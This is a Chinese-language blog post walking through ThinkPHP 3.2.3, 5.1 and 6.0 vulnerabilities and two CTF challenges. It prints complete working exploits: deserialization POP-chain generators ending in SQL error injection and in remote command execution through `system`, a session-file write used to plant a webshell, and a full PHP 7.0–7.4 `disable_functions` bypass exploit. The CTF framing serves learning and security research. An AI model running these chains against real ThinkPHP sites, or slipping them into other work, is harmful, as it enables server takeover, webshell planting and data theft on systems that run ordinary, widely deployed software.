thinkphp反序列化漏洞

Thinkphp3.2.3

环境搭建

composer一把梭,可参考文章

composer create-project topthink/thinkphp=3.2.3 tp3

之后访问

localhost/tp3/

即可

漏洞复现

找起点,\tp3\ThinkPHP\Library\Think\Image\Driver\Imagick.class.php

在这里插入图片描述

其中$this->img是可控的,调用了destroy函数,这里全局搜索,跟进到\tp3\ThinkPHP\Library\Think\Session\Driver\Memcache.class.php,

在这里插入图片描述

其中的$this->handle$this->sessionName是可控的,然后调用了delete函数,跟进到ThinkPHP/Mode/Lite/Model.class.php

在这里插入图片描述

调用了getPk函数

在这里插入图片描述

$this->pk可控,所以$pk是可控的,接着看下面

在这里插入图片描述

再次调用delete函数,这次跟进到ThinkPHP/Library/Think/Db/Driver.class.php

在这里插入图片描述

关键的是这段代码

$table = $this->parseTable($options['table']);
$sql   = 'DELETE FROM ' . $table;
...
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);

$sql是由'DELETE FROM '$table拼接而来的,而$table等于的是调用了parseTable方法后的值

跟进parseTable方法

在这里插入图片描述

调用了parseKey方法,跟进

在这里插入图片描述

直接返回$key,退回到ThinkPHP/Library/Think/Db/Driver.class.php中的delete方法

最后调用了execute方法对$sql进行处理

在这里插入图片描述

跟进一下

在这里插入图片描述

调用了initConnect方法,跟进

在这里插入图片描述

调用了connect函数,跟进

在这里插入图片描述

这里使用了$this->config去创建数据库的连接,所以在mysql类下配置好数据库的配置即可

在这里插入图片描述

梳理一下思路

//ThinkPHP/Mode/Lite/Model.class.php
protected $data = array();
protected $pk = 'id';
...
$pk = $this->getPk();    
return $this->delete($this->data[$pk]);//$pk可控,$this->data可控,所以$this->data[$pk]可控


//ThinkPHP/Library/Think/Db/Driver.class.php
public function delete($options = array())//这里的$options就是上面的$this->data[$pk],可控
$table = $this->parseTable($options['table']);
$sql   = 'DELETE FROM ' . $table;
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);


 protected function parseTable($tables)
    {
        if (is_array($tables)) {
// 支持别名定义
            $array = array();
            foreach ($tables as $table => $alias) {
                if (!is_numeric($table)) {
                    $array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias);
                } else {
                    $array[] = $this->parseKey($alias);
                }

            }
            $tables = $array;
        } elseif (is_string($tables)) {
            $tables = explode(',', $tables);
            array_walk($tables, array(&$this, 'parseKey'));
        }
        return implode(',', $tables);
    }


 
 protected function parseKey(&$key)
    {
        return $key;
    }

对于整个执行过程可以看下面的例子,很好懂

<?php
class wind
{
    public $data = array();
    public $pk;
    public function test()
    {
        $pk = $this->pk;
        return $this->delete($this->data[$pk]);
    }
    public function delete($options = array()) //这里的$options就是上面的$this->data[$pk],可控
    {
        $table = $this->parseTable($options['table']);
        var_dump($table);
    }
    public function __construct()
    {
        $this->pk = 'id';
        $this->data[$this->pk] = array(
            "table" => "test sql",
        );
    }
    public function parseKey(&$key)
    {
        return $key;
    }
    public function parseTable($tables)
    {
        if (is_array($tables)) {
// 支持别名定义
            $array = array();
            foreach ($tables as $table => $alias) {
                if (!is_numeric($table)) {
                    $array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias);
                } else {
                    $array[] = $this->parseKey($alias);
                }

            }
            $tables = $array;
            print_r($tables);
        } elseif (is_string($tables)) {
            $tables = explode(',', $tables);
            array_walk($tables, array(&$this, 'parseKey'));
        }
        return implode(',', $tables);
    }
}
$a=new wind();
$a->test();

//输出结果:
string(8) "test sql"

所以我们可以构造

$this->data[$this->pk] = array(
                "table" => "name where 1=updatexml(1,user(),1)#",
                "where" => "1=1"

来进行报错注入

最后的POC

<?php
//初始化数据库连接
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "root",	//数据库名
            "hostname" => "127.0.0.1",	//地址
            "hostport" => "3306",	//端口
            "charset"  => "utf8",
            "username" => "root",	//用户名
            "password" => "root"	//密码
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "name where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

在入口文件处添加如下代码以测试,在实际应用中,就是因为出现了可利用点,才能通过漏洞进行一系列操作

IndexController.class.php

public function index()
    {
        unserialize(base64_decode($_GET[1]));
    }   

在这里插入图片描述

实战演练

BUU [红明谷CTF 2021]EasyTP

启动题目

在这里插入图片描述

一张图片,查看源码,没发现特殊的地方,dirsearch扫目录,发现www.zip文件备份

down下来,发现是tp3.2.3,访问localhost/tp3.2.3以生成本地文件,来到\tp3.2.3\Application\Home\Controller\IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        echo(unserialize(base64_decode(file_get_contents('php://input'))));
        $this->display();
        
    }
    public function test(){
        echo(unserialize(base64_decode(file_get_contents('php://input'))));
    }
}

直接使用test方法,因为index方法还调用了display函数,这个题只是改了首页即IndexController.class.php,更改其利用方式为php://input,其他和上述讲的完全一样

POC

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => true,
            "database" => "mysql", // 可换成任何一个存在的库
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root" // BUU下的密码为root
        );
    }
}
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                //前面的查库查表就不在这儿一一写了
                "table" => "mysql.user where updatexml(1,concat(0x7e,substr((select`*`from`flag`),1,30),0x7e),1)#",
                "where" => "1=1"
            );
        }
    }
}
namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

在这里插入图片描述

更改substr截取的值即可获得后半段flag

Thinkphp5.1.x

Thinkphp 反序列化利用链深入分析 (seebug.org)

环境搭建

composer一把梭,不会的可参考文章

composer create-project topthink/think=(输入你想要下载的版本) tp5.1(文件夹的名称)

漏洞复现

反序列化漏洞一般是通过多种魔术方法的自动调用,从而构造pop链,实现getshell

一般以__destruct或者__wakeup作为起点。

全局搜索__destruct,最终来到/thinkphp/library/think/process/pipes/Windows.php下的__destruct

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

调用了两个函数,跟进close函数,最终发现不可控,再跟进removeFiles函数

在这里插入图片描述

$this->files可控

在这里插入图片描述

所以,到这里就可以利用反序列化漏洞执行任意文件删除了

POC

namespace think\process\pipes;

class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = ['文件路径']
    }
}

$a = new Windows();
echo base64_encode(serialize($a));

同时,我们注意到在removeFiles()中使用了file_exists$filename进行处理。

在这里插入图片描述

跟进file_exists函数

在这里插入图片描述

发现$filename会被当做字符串处理,所以,当我们令$filename为一个对象时,这时就会自动触发__toString魔术方法

接下来全局找__toString方法

跟进到\thinkphp\library\think\model\concern\Conversion.php

在这里插入图片描述

跟进toJson方法

在这里插入图片描述

跟进toArray方法

public function toArray()
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)      = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)     = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

                    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible([$attr]);
                        }
                    }

                    $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

        return $item;
    }

其中有用的是这一段

在这里插入图片描述

看到这里

$relation->visible($name);

其中,如果$relation可控,且visible($name)可控,那么就可以当作跳板,去调用visible或者__call方法

好,现在来看,其中$this->append可控

先看看能不能绕过所有判断,进入$relation->visible($name)这一步

调用了getRelation,跟进

在这里插入图片描述

其中$this->relation可控

很容易构造返回为空,使得if (!$relation)成立

跟进getAttr

在这里插入图片描述

跟进getData

在这里插入图片描述

其中$this->data可控,$name$this->append的键名$key,可控,所以返回的值可控,所以$value可控,所以相当于$relation =$this->data[$key],因此$relation完全可控,而$relation->visible($name);中的$nameforeach ($this->append as $key => $name)中的键值,也是可控的,所以$relation->visible($name);整个都是可控的

需要注意的是ConversionAttribute这两个类定义的时候都是用的trait

所以我们需要找到一个子类同时继承了Attribute类和Conversion类。最终来到\thinkphp\library\think\Model.php

在这里插入图片描述

然后我们全局寻找visble方法,最终发现都不可用

所以我们需要找一个类,这个类中要没有visible方法,且要存在__call方法

来到/thinkphp/library/think/Request.php

在这里插入图片描述

这里发现call_user_func_array函数可以利用从而执行system

(1)普通使用:

           function a($b, $c) {  

                echo $b; 

                echo $c; 

           } 

          call_user_func_array('a', array("1", "2")); 

          //输出 1 2

(2)调用类内部的方法:

         Class ClassA { 

                 function a($b, $c) { 

                  $a = $b + $c; 

                  echo $a; 

                 } 

            } 

          call_user_func_array(array('ClassA','a'), array("1", "2")); 

          //输出  3 

但是这里的$method是前面的visible,不可控,而$args是之前的$name可控,但是array_unshift($args, $this)$this插入到了$args的最前面,导致system不可用

array_unshift() 函数用于向数组插入新元素。新数组的值将被插入到数组的开头。

新思路(变量覆盖)

在Thinkphp的Request类中还有一个filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

找到filterValue函数

在这里插入图片描述

需要利用这里的$value = call_user_func($filter, $value),但是$filter$value都不可控,需要找到可以利用$value的地方。

最终找到这个类的input方法

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }

其中input函数的参数$data不可控,继续找一个调用input函数的地方。找到了param函数。

public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

参数依旧不可控

继续找调用param函数的地方。找到了isAjax函数

在这里插入图片描述

其中$this->config['var_ajax']可控,意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。

所以$this->param是get参数可控

之后再input函数中

 // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);

array_walk_recursive函数

对数组中的每个元素应用用户自定义函数

参数 描述
array 必需。规定数组。
myfunction 必需。用户自定义函数的名称。
parameter,... 可选。规定用户自定义函数的参数,您可以为函数设置一个或多个参数。

这里利用array_walk_recursive函数来调用filterValue方法,其中作为参数的$filter是通过getFilter方法得到的

在这里插入图片描述

其中$filter=$this->filter可控

所以

array_walk_recursive($data, [$this, 'filterValue'], $filter);

$datafilter都彻底可控了,即$value = call_user_func($filter, $value),回调函数和参数都可控,即可构造POC了。

POC

<?php
namespace think\model{
  use think\Model;
    class Pivot extends Model
    {
    }
}
namespace think\process\pipes{
  use think\model\Pivot;
    class Windows
    {
        private $files = [];
        public function __construct(){
            $this->files=[new Pivot()];
        }
    }
}
namespace think{
    abstract class Model
    {
        protected $append = [];
        private $data = [];
        public function __construct(){
            $this->data=array(
                'ghost'=>new Request()
            );
            $this->append=array(
                'ghost'=>array(
                    'test'=>'test'
                )
            );
        }
    }
}
namespace think{
    class Request
    {
        protected $hook = [];
        protected $filter;
        protected $config = [
            'var_ajax'         => '',
        ];
        public function __construct(){
            $this->hook = ["visible"=>[$this,"isAjax"]];
            $this->filter="system";
        }
    }
}
namespace{
  use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
}

在这里插入图片描述

ThinkPHP6任意文件操作漏洞分析

环境搭建

phpstudy+thinkphp(<=6.0.0版本<=6.0.2) + php7以上

thinkphp6只能利用composer下载,不会下载的可以参考文章

composer create-project topthink/think=6.0.0 tp6.0

在这里插入图片描述

下载完成后访问localhost/tp6.0/public/生效

至此环境搭建完毕

漏洞剖析

首先看看官方信息

在这里插入图片描述

可以看到官方对src/think/session/Store.php中在id设置时多增加了一个函数,因此猜测可能是在存储Session时导致了文件写入

所以我们来到vendor/topthink/framework/src/think/session/Store.php,对save()方法中的write函数进行跟踪

在这里插入图片描述

vendor/topthink/framework/src/think/session/driver/File.php

在这里插入图片描述

又调用了writeFile函数,跟进

vendor/topthink/framework/src/think/session/driver/File.php

在这里插入图片描述

发现file_put_contents函数,果然是能写入文件的操作

反向分析一下:

file_put_contents($path,$content,LOCK_EX)中的参数$path,$content来源于writeFile($path,$data)

writeFile($path,$data)中的参数$path,$data来源于write(String $sessID,String $sessData)

write(String $sessID,String $sessData)中的参数$sessID,$sessData来源于save()中调用了write()

所以最终推导出文件名就是来自于getId()得到的$sessionId的值

在这里插入图片描述

结合setIdgetId,发现:

当传入的id值长度为32时,创建sessionId,然后进行gitId()

那么接下来就应寻找调用setID的地方,发现在vendor/topthink/framework/src/think/middleware/SessionInit.php

在这里插入图片描述

对这里的getName进行追踪发现,$cookieName=PHPSESSID

在这里插入图片描述

$sessionIdcookie中名为PHPSESSID的值,因为sessionId是攻击者可控的,从而导致写入的文件名可控

而写入的内容是创建session使用的内容。但是session的内容是由实际的后端业务逻辑来决定的,况且默认环境下并没有创建session。因此,默认环境下无法做到任意文件写入。想要做到任意文件写入的条件是非常苛刻的

如果要getshell的话,后端需要有类似的Session::Set('name',$_POST['abc'])代码才可以实现

同时,在进行深入分析后,发现还可以实现任意文件删除,且文件删除对后端业务逻辑依赖较低。

题目实战

[GYCTF2020]EasyThinking

这里通过dirsearch进行目录扫描能获取到www.zip下载即可获得源码,这里就不分析了,就是利用上面的漏洞变化出来的

启动题目,在注册账号登陆时,用bp截包,将session长度改为32位的php文件

在这里插入图片描述

之后登录,进入搜索界面,写入一句话木马

在这里插入图片描述

点击搜索后,便成功写入,

这里简单说一下,因为发现网上关于为什么在搜索框处写入木马都没有介绍

下载源码后,发现

app\home\controller\Member.php

public function search()
    {
        if (Request::isPost()){
            if (!session('?UID'))
            {
                return redirect('/home/member/login');            
            }
            $data = input("post.");
            $record = session("Record");
            if (!session("Record"))
            {
                session("Record",$data["key"]);
            }
            else
            {
                $recordArr = explode(",",$record);
                $recordLen = sizeof($recordArr);
                if ($recordLen >= 3){
                    array_shift($recordArr);
                    session("Record",implode(",",$recordArr) . "," . $data["key"]);
                    return View::fetch("result",["res" => "There's nothing here"]);
                }

            }
            session("Record",$record . "," . $data["key"]);
            return View::fetch("result",["res" => "There's nothing here"]);
        }else{
            return View("search");
        }
    }

这里的search函数会把搜索框POST数据存到session文件里面

文件路径是
runtime/session/sess_123456789123456789123456789a.php

用蚁剑连接

在根目录下发现flag

在这里插入图片描述

但是还需执行readflag才能获取

这里直接上github上的脚本

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag"); //将这里的命令改成/readflag即可

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
?>

接着将其上传到/var/www/html/runtime/session/下,即我这里的1.php文件

在这里插入图片描述

之后在访问1.php文件即可获得flag

在这里插入图片描述

posted @ 2022-07-06 14:16  phant0m1  阅读(544)  评论(0编辑  收藏  举报